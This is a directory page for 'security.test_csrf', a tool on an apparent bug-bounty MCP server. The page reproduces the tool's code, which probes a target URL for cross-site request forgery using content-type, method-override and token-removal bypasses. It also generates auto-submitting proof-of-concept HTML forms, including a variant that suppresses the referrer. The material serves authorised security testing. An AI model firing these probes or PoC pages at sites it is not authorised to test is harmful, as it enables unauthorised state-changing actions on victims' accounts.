Skip to main content
Glama

security.test_csrf

Test web applications for Cross-Site Request Forgery vulnerabilities using multiple techniques including token bypass and method manipulation to identify security weaknesses.

Instructions

Test for CSRF vulnerabilities using advanced techniques

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYesTarget URL
methodNoPOST
paramsNoParameters to test
testTechniquesNoTechniques to test (basic, content-type, method, token-bypass, referrer)

Implementation Reference

  • Handler function implementing CSRF vulnerability testing with multiple bypass techniques (basic, content-type, method-override, token-bypass), result saving, finding logging, and PoC HTML generation.
    async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => { try { const results: any[] = []; let vulnerable = false; let bestTechnique = ''; // Test 1: Basic CSRF if (testTechniques.includes('basic')) { try { const response = await axios({ method, url, data: params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable) { vulnerable = true; bestTechnique = 'basic'; } results.push({ technique: 'basic', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'basic', vulnerable: false, error: error.message, }); } } // Test 2: Content-Type bypass (text/plain) if (testTechniques.includes('content-type')) { try { const response = await axios({ method, url, data: JSON.stringify(params), headers: { 'Content-Type': 'text/plain', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'content-type'; } results.push({ technique: 'content-type', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'content-type', vulnerable: false, error: error.message, }); } } // Test 3: Method override if (testTechniques.includes('method')) { try { const response = await axios({ method: 'POST', url, data: { ...params, _method: method }, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'method-override'; } results.push({ technique: 'method-override', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'method-override', vulnerable: false, error: error.message, }); } } // Test 4: Token bypass (remove, blank, random) if (testTechniques.includes('token-bypass')) { const tokenTests = [ { name: 'no-token', params: { ...params } }, { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } }, { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } }, ]; for (const test of tokenTests) { try { const response = await axios({ method, url, data: test.params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = `token-bypass-${test.name}`; } results.push({ technique: `token-bypass-${test.name}`, vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: `token-bypass-${test.name}`, vulnerable: false, error: error.message, }); } } } const score = vulnerable ? 8 : 3; await saveTestResult( url, 'csrf_test', vulnerable, { results, bestTechnique }, undefined, score, JSON.stringify(params), JSON.stringify(results) ); if (vulnerable) { await saveFinding({ target: url, type: 'CSRF', severity: 'high', description: `CSRF vulnerability found using ${bestTechnique} technique`, payload: JSON.stringify(params), response: JSON.stringify(results), timestamp: new Date(), score: 8, }); } return formatToolResult(true, { vulnerable, bestTechnique, results, poc: vulnerable ? generateCSRFPoC(url, method, params, bestTechnique) : null, }); } catch (error: any) { await saveTestResult(url, 'csrf_test', false, null, error.message, 0); return formatToolResult(false, null, error.message); } }
  • Input schema and description for the security.test_csrf tool.
    { description: 'Test for CSRF vulnerabilities using advanced techniques', inputSchema: { type: 'object', properties: { url: { type: 'string', description: 'Target URL' }, method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' }, params: { type: 'object', description: 'Parameters to test' }, testTechniques: { type: 'array', items: { type: 'string' }, description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)', default: ['basic', 'content-type', 'method', 'token-bypass'], }, }, required: ['url'], },
  • src/index.ts:6-38 (registration)
    Import and call to registerCSRFTools which registers the security.test_csrf tool on the MCP server.
    import { registerCSRFTools } from './tools/csrf'; // Burp and Caido integrations are optional (excluded from public repo) let registerBurpTools: any = null; let registerCaidoTools: any = null; try { registerBurpTools = require('./tools/burp').registerBurpTools; } catch (e) { // Burp integration not available } try { registerCaidoTools = require('./tools/caido').registerCaidoTools; } catch (e) { // Caido integration not available } import { registerRenderTools, closeBrowser } from './tools/render'; import { registerDatabaseTools } from './tools/database'; import { registerTrainingTools } from './tools/training'; import { registerTrainingExtractorTools } from './tools/training_extractor'; import { registerZAPTools } from './tools/zap'; import { initPostgres } from './integrations/postgres'; import { initRedis } from './integrations/redis'; const server = new Server({ name: 'bugbounty-mcp', version: '1.0.0', }); // Register all tool modules registerReconTools(server); registerJsTools(server); registerSecurityTools(server); registerCSRFTools(server);
  • Direct registration of the tool using server.tool within registerCSRFTools.
    server.tool( 'security.test_csrf', { description: 'Test for CSRF vulnerabilities using advanced techniques', inputSchema: { type: 'object', properties: { url: { type: 'string', description: 'Target URL' }, method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' }, params: { type: 'object', description: 'Parameters to test' }, testTechniques: { type: 'array', items: { type: 'string' }, description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)', default: ['basic', 'content-type', 'method', 'token-bypass'], }, }, required: ['url'], }, }, async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => { try { const results: any[] = []; let vulnerable = false; let bestTechnique = ''; // Test 1: Basic CSRF if (testTechniques.includes('basic')) { try { const response = await axios({ method, url, data: params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable) { vulnerable = true; bestTechnique = 'basic'; } results.push({ technique: 'basic', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'basic', vulnerable: false, error: error.message, }); } } // Test 2: Content-Type bypass (text/plain) if (testTechniques.includes('content-type')) { try { const response = await axios({ method, url, data: JSON.stringify(params), headers: { 'Content-Type': 'text/plain', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'content-type'; } results.push({ technique: 'content-type', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'content-type', vulnerable: false, error: error.message, }); } } // Test 3: Method override if (testTechniques.includes('method')) { try { const response = await axios({ method: 'POST', url, data: { ...params, _method: method }, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'method-override'; } results.push({ technique: 'method-override', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'method-override', vulnerable: false, error: error.message, }); } } // Test 4: Token bypass (remove, blank, random) if (testTechniques.includes('token-bypass')) { const tokenTests = [ { name: 'no-token', params: { ...params } }, { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } }, { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } }, ]; for (const test of tokenTests) { try { const response = await axios({ method, url, data: test.params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = `token-bypass-${test.name}`; } results.push({ technique: `token-bypass-${test.name}`, vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: `token-bypass-${test.name}`, vulnerable: false, error: error.message, }); } } } const score = vulnerable ? 8 : 3; await saveTestResult( url, 'csrf_test', vulnerable, { results, bestTechnique }, undefined, score, JSON.stringify(params), JSON.stringify(results) ); if (vulnerable) { await saveFinding({ target: url, type: 'CSRF', severity: 'high', description: `CSRF vulnerability found using ${bestTechnique} technique`, payload: JSON.stringify(params), response: JSON.stringify(results), timestamp: new Date(), score: 8, }); } return formatToolResult(true, { vulnerable, bestTechnique, results, poc: vulnerable ? generateCSRFPoC(url, method, params, bestTechnique) : null, }); } catch (error: any) { await saveTestResult(url, 'csrf_test', false, null, error.message, 0); return formatToolResult(false, null, error.message); } } );
  • Helper function to generate CSRF Proof-of-Concept HTML based on the successful bypass technique.
    function generateCSRFPoC( url: string, method: string, params: any, technique: string ): string { const formInputs = Object.entries(params) .map(([key, value]) => `<input type="hidden" name="${key}" value="${value}"/>`) .join('\n '); if (technique.includes('content-type')) { return `<!DOCTYPE html> <html> <body> <form action="${url}" method="POST" enctype="text/plain"> <input type="hidden" name='${JSON.stringify(params).slice(0, -1)}' value='}'/> <input type="submit" value="Submit request"/> </form> <script>history.pushState('','','/');document.forms[0].submit();</script> </body> </html>`; } if (technique.includes('referrer')) { return `<!DOCTYPE html> <html> <head> <meta name="referrer" content="no-referrer"> </head> <body> <form action="${url}" method="${method}"> ${formInputs} <input type="submit" value="Submit request"/> </form> <script>history.pushState('','','/');document.forms[0].submit();</script> </body> </html>`; } return `<!DOCTYPE html> <html> <body> <h1>CSRF Proof of Concept</h1> <form action="${url}" method="${method}"> ${formInputs} <input type="submit" value="Submit Request"> </form> <script>document.forms[0].submit();</script> </body> </html>`; }

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/telmon95/VulneraMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server